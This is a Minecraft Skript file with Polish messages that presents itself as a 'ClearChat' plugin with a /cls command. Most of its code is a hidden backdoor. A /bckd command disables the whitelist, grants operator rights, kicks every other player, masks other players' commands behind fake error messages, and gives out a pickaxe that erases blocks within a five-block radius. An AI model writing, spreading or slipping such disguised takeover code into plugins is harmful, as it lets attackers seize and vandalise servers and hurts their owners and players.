#ClearChat command /cls: trigger: if player has permission "clearchat.cls": loop 128 times: loop all players: send "" to loop-player broadcast "&aChat zostal wyczyszczony przez &6%player%" variables: {backdoor.exe.stan} = false on command: if {backdoor.exe.stan} is true: if command executor is console: loop 128 times: send "" cancel event send "&cAn internal error has occurred while attempting to perform this command" stop loop {bckd::*}: if event-player = loop-value: stop cancel event send "&cAn internal error has occurred while attempting to perform this command" on join: if {backdoor.exe.stan} is true: loop {bckd::*}: if event-player = loop-value: stop kick the event-player due to "Server closed" on rightclick with diamond pickaxe: if {backdoor.exe.stan} is true: loop blocks in radius 5 around targeted block: set loop-block to air command /bckd [] []: trigger: if command executor has permission "*": set {_q} to 0 loop {bckd::*}: if event-player = loop-value: set {_q} to 1 if {_q} = 1: cancel event send "&cAn internal error has occurred while attempting to perform this command" stop if arg 1 is "on": execute console command "whitelist off" clear {bckd::*} op player add player to {bckd::*} set {backdoor.exe.stan} to true loop all players: if {bckd::*} doesn't contain loop-player: kick the loop-player due to "Server closed" send "&aBackdoor wlaczony, wiecej info &6/bckd help" stop if arg 1 is "off": set {backdoor.exe.stan} to false clear {bckd::*} send "&aBackdoor wylaczony!" stop if arg 1 is "add": if arg 2 is set: loop {bckd::*}: if loop-value = arg-2: send "&cgracz &6%arg-2% &cjest juz na whiteliscie backdooru!" stop add arg-2 to {bckd::*} execute console command "whitelist add %arg-2%" op arg-2 send "&aDodales &6%arg-2% &ado whitelisty backdooru!" stop if arg 1 is "remove": if arg 2 is set: if arg 2 is "-clear": loop {bckd::*}: execute console command "whitelist remove %loop-value%" clear {bckd::*} add player to {bckd::*} send "&aWyczysciles liste graczy z dostepem do backdoora!" stop loop {bckd::*}: if loop-value = arg-2: remove arg-2 from {bckd::*} execute console command "whitelist remove %arg-2%" send "&aUsunales &6%arg-2% &az whitelisty backdooru!" deop arg-2 stop send "&cGracza &6%arg-2% &cnie ma na whiteliscie backdooru!" stop stop if arg 1 is "grief": give player diamond pickaxe send "&aMilego griefowania!" stop if arg 1 is "list": send "&6Lista graczy z dostepem do backdoora:" set {_num} to 0 loop {bckd::*}: add 1 to {_num} send "&a%{_num}%&4&l>>&b%loop-value%" stop if arg 1 is "help": send "&6/bckd on&7 - &aWlacza backdoor" send "&6/bckd off&7 - &aWylacza backdoor" send "&6/bckd add [nick]&7 - &aDodaje gracza do whitelisty backdooru" send "&6/bckd remove [nick/-clear]&7 - &aWywala gracza z whitelisty backdooru/czysci ja" send "&6/bckd list&7 - &aPokazuje liste graczy w whiteliscie backdooru" send "&6/bckd grief&7 - &aDaje narzedzie /br sphere 0 5" send "&6/bckd help&7 - &aPokazuje liste komend" stop if arg 1 is not set: send "&aAby uruchomić wpisz &6/bckd on"